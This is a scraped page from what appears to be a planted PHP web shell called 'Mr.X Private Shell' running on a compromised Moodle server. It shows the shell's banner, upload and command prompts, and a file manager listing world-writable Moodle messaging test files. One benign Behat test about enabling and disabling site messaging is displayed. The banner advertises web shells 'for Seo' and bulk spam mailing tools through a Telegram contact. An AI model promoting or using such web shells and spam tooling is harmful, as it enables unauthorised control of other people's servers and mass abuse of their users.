__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_message @javascript
Feature: Message admin settings
  In order to manage the messaging system
  As an admin
  I need to be able to enabled/disabled site-wide messaging system

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | user1 | User | One | one@example.com |
    And the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1        | 0        | 1         |

  Scenario: enable site messaging
    Given the following config values are set as admin:
      | messaging | 1 |
    When I log in as "admin"
    Then "Toggle messaging drawer" "icon" should exist
    And I navigate to "Users > Accounts > Browse list of users" in site administration
    And I should see "User One"
    And I follow "User One"
    And "Add to contacts" "link" should exist
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And the "With selected users..." select box should contain "Send a message"

  Scenario: disable site messaging
    Given the following config values are set as admin:
      | messaging | 0 |
    When I log in as "admin"
    Then "Toggle messaging drawer" "icon" should not exist
    And I navigate to "Users > Accounts > Browse list of users" in site administration
    And I should see "User One"
    And I follow "User One"
    And "Add to contacts" "link" should not exist
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And the "With selected users..." select box should not contain "Send a message"

Filemanager

Name Type Size Permission Actions
behat_message.php File 12.1 KB 0777
block_user.feature File 2.87 KB 0777
capability_message_any_user.feature File 1.92 KB 0777
delete_messages.feature File 13.52 KB 0777
favourite_conversations.feature File 4.53 KB 0777
group_conversation.feature File 5.77 KB 0777
message_admin_settings.feature File 1.57 KB 0777
message_delete_conversation.feature File 6.42 KB 0777
message_drawer_manage_contacts.feature File 4.86 KB 0777
message_manage_notification_preferences.feature File 12.19 KB 0777
message_manage_preferences.feature File 5.46 KB 0777
message_preferences.feature File 4.06 KB 0777
message_send_messages.feature File 4.01 KB 0777
mute_conversations.feature File 4.67 KB 0777
self_conversation.feature File 3.05 KB 0777
unread_messages.feature File 4.55 KB 0777
Filemanager